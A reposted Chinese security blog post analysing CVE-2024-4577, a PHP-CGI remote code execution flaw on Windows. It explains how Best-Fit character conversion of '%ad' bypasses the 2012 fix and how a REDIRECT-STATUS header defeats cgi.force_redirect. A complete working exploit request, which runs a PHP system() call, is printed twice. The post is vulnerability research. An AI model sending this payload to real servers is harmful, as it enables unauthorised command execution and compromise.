CVE-2024-4577PHP-CGI-windows平台远程命令执行漏洞

admin 2024年6月26日10:06:34评论34 views字数 1275阅读4分15秒阅读模式

不怕在黑暗中行走,就怕心中没有光。

Don`t afraid of walking in the dark, afraid of not having light in your heart.

Payload

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host: 
REDIRECT-STATUS:1

<?php system("dir")?>

漏洞描述

经过了解该漏洞,发现其实是2012年PHP-CGI远程代码执行的绕过(CVE-2012-1823),其利用了windows对字符编码转换的Best-Fit特性,在简体中文、繁体中文、日语、韩文等语言系统中,由于不存在%ad,通过windows的Best-Fit字符编码转换特性转换成“-”,从而绕过对CVE-2012-1823的防护,进而达到远程命令执行。(ps:在日后遇到类似情况也可以通过windows对字符编码转换的Best-Fit特性进行绕过)

CVE-2024-4577PHP-CGI-windows平台远程命令执行漏洞

查看分析修复提交的代码可以看出整个代码块的目的是在Windows环境下才会进行编译。

1. 首先检查字符*p表示指向当前字符的指针。如果该字符的值大于或等于0x80(128的十六进制表示),则表明这是一个扩展的ASCII字符(即非ASCII标准字符)。

2. 再进行检查字符是否在转换为系统默认的代码页时被转换为连字符(-)或转换失败。如果是,则设置skip_getopt标志以跳过对这个字符的进一步处理。这样可以避免处理由于字符编码转换不准确导致的问题,从而修复该漏洞。

根据分析修复代码与CVE-2012-1823漏洞即可得出如开头提到的payload:%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input

但是仅仅如此还是不够的,在漏洞利用的时候还是会被拦截:CVE-2024-4577PHP-CGI-windows平台远程命令执行漏洞这是由于php有一个安全配置cgi.force_redirect(默认开启),在cgi代码中可以看到,若当REDIRECT_STATUS、HTTP_REDIRECT_STATUS其中一个不为空,即可绕过该安全配置:CVE-2024-4577PHP-CGI-windows平台远程命令执行漏洞虽然不确定getenv是从哪里获取的配置值,但在代码中能够看到通过getenv获取http_cookie,从而猜测可以通过http头进行提交:CVE-2024-4577PHP-CGI-windows平台远程命令执行漏洞

综上所诉,可得出payload:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host: 
REDIRECT-STATUS:1

<?php system("dir")?>

漏洞复现

使用payload,执行任意php代码:CVE-2024-4577PHP-CGI-windows平台远程命令执行漏洞

文笔垃圾,技术欠缺,欢迎各位师傅请斧正,非常感谢!

原文始发于微信公众号(T0ngMystic工作站):CVE-2024-4577--PHP-CGI-windows平台远程命令执行漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月26日10:06:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-4577PHP-CGI-windows平台远程命令执行漏洞https://cn-sec.com/archives/2885419.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息